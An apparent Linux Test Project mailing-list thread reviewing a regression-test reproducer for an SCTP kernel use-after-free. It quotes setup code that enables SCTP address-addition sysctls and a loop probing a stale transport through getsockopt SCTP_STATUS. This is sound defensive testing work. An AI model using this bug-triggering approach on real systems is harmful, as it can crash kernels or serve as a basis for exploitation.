> Can't this be part of .save_restore in struct tst_test?
I had to move it inside setup/cleanup because we need to load sctp module
_before_ setting the addip_enable, which is available only after loading
the module.
>
> > + const struct tst_path_val *sysctl;
> > +
> > + tst_modprobe("sctp", NULL);
> ...
>
> > +
> > +/*
> > + * The freed transport is released by an RCU callback; once it is gone,
> > + * reading the association status dereferences the stale primary_path,
> > + * which KASAN reports as a use-after-free.
> > + */
> > +static void probe_uaf(void)
> > +{
> > + uint8_t buf[512];
> > + long delay = 1;
> > + int i;
> > +
> > + tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
> > +
> > + for (i = 0; i < 12; i++) {
> > + socklen_t len = sizeof(buf);
> > +
> > + TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
> What is the point of using TEST() macro here. Why not run getsockopt() directly?
Yeah I also removed it, but then messed up with undo history :-)
I will remove it again.
Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564
2026-08-10 18:14 ` Andrea Cervesato via ltp
@ 2026-08-11 5:35 ` Petr Vorel
0 siblings, 0 replies; 8+ messages in thread
From: Petr Vorel @ 2026-08-11 5:35 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
> Hi Petr,
> > Nice reproducer, full of magic. Generally LGTM, few notes bellow?
> > Acked-by: Petr Vorel <pvorel@suse.cz>
> > Tested-by: Petr Vorel <pvorel@suse.cz>
> > > +static void setup(void)
> > > +{
> > > + int fd;
> > > + const struct tst_path_val sysctls[] = {
> > > + {"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
> > > + {"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
> > > + {}
> > > + };
> > Can't this be part of .save_restore in struct tst_test?
> I had to move it inside setup/cleanup because we need to load sctp module
> _before_ setting the addip_enable, which is available only after loading
> the module.
Thanks for info!
> > > + const struct tst_path_val *sysctl;
> > > +
> > > + tst_modprobe("sctp", NULL);
> > ...
> > > +
> > > +/*
> > > + * The freed transport is released by an RCU callback; once it is gone,
> > > + * reading the association status dereferences the stale primary_path,
> > > + * which KASAN reports as a use-after-free.
> > > + */
> > > +static void probe_uaf(void)
> > > +{
> > > + uint8_t buf[512];
> > > + long delay = 1;
> > > + int i;
> > > +
> > > + tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
> > > +
> > > + for (i = 0; i < 12; i++) {
> > > + socklen_t len = sizeof(buf);
> > > +
> > > + TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
> > What is the point of using TEST() macro here. Why not run getsockopt() directly?
> Yeah I also removed it, but then messed up with undo history :-)
> I will remove it again.
Good, it can be removed before merge.
Kind regards,
Petr
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2026-08-11 5:36 UTC | newest]
Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-10 16:28 [LTP] [PATCH 0/2] Add reproducer for sctphantom CVE Andrea Cervesato
2026-08-10 16:28 ` [LTP] [PATCH 1/2] sctp: add lapi fallback definitions Andrea Cervesato
2026-08-10 16:57 ` [LTP] " linuxtestproject.agent
2026-08-10 17:39 ` [LTP] [PATCH 1/2] " Petr Vorel
2026-08-10 16:28 ` [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564 Andrea Cervesato
2026-08-10 18:06 ` Petr Vorel
2026-08-10 18:14 ` Andrea Cervesato via ltp
2026-08-11 5:35 ` Petr Vorel
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.